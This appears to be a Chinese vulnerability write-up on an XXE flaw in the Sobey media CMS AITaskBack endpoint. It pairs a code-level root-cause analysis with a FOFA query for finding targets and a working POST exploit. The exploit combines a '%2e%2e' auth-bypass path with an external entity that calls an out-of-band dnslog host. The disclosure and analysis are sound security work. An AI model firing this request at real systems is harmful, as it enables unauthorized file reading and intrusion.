索贝内容管理系统 /sobey-mchEditor/mch/AIInt/AITaskBack XML外部实体注入(XXE)漏洞


漏洞简介

索贝 /sobey-mchEditor/mch/AIInt/AITaskBack 接口存在XML外部实体注入(XXE)漏洞。攻击者可以通过构造恶意的XML数据包,利用该漏洞读取服务器上的敏感文件或发起其他恶意操作,可能导致敏感信息泄露。

影响版本

fofa语法

icon_hash="689611853"||app="SOBEY-融媒体" || body="You need to enable JavaScript to run this app" && header="Sobey"

漏洞分析

根据漏洞通告,搜索漏洞路由 mch/AIInt/AITaskBack

img

直接进入看它的实现逻辑如下

@RequestMapping(
    value = {"/AITaskBack"},
    method = {RequestMethod.POST}
)
public Response AITaskBack(HttpServletRequest req, @RequestParam("contentid") String contentid, @RequestParam(value = "token",required = false) String token, @RequestParam(value = "siteCode",required = false) String siteCode) throws HttpException, IOException {
    Response response = new Response();
    response.setStatus(200);
    HiveService hive = new HiveServiceImpl();
    String param = IOUtils.toString(req.getInputStream(), "UTF-8");
    logger.info("AI智能写稿回调参数为:" + param);
    int aiFlg = 2;

    try {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        StringReader sr = new StringReader(param);
        InputSource iss = new InputSource(sr);
        DocumentBuilder db = dbf.newDocumentBuilder();
        Document doc = db.parse(iss);
        NodeList dogList = doc.getElementsByTagName("TextResult");
        Node dog = dogList.item(0);
        String result = dog.getFirstChild().getNodeValue();
        JSONObject ret = JSONObject.fromObject(result);
        if (!ret.containsKey("code") || ret.getInt("code") != 200) {
            logger.error("智能服务回调返回失败:" + result);
            aiFlg = 0;
        }

        JSONArray results = ret.getJSONArray("results");

漏洞的根源在于变量 param,其值直接来自 req.getInputStream(),是攻击者可以完全控制的 HTTP 请求体。然后通过 DocumentBuilderFactory.newInstance() 获取一个工厂实例。这个方法返回的是 JAXP(Java API for XML Processing)规范的一个具体实现,通常是 JRE 中内置的 Xerces 解析器。在未进行安全配置的情况下,其行为取决于 JRE 的版本和系统环境的默认设置。在许多 Java 环境中(尤其是 Java 8 早期版本及更早版本),默认是允许解析外部实体的,这是一种不安全的设计。代码将安全性寄希望于运行环境的默认配置,而不是在代码层面强制实施安全策略,这是本次XXE漏洞产生的根本原因。

漏洞复现

权限绕过相关分析可以参考之前的 索贝融媒体 getList SQL注入漏洞 的权限校验部分

POST /sobey-mchEditor/js/%2e%2e/mch/AIInt/AITaskBack?contentid=1&token=&siteCode= HTTP/1.1
Host: sobey.mrxn.net
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://xxe.dnslog.pt/xxe_test">
]>
<root>
  <TextResult>&xxe;</TextResult>
</root>

img

成功在DNSLOG平台收到DNS和HTTP请求


手机扫码阅读

用友U8+渠道管理(高级版) gettoken_new SQL注入漏洞

索贝内容管理系统 /sobey-mchEditor/mch/statistics 多个SQL 注入漏洞

评 论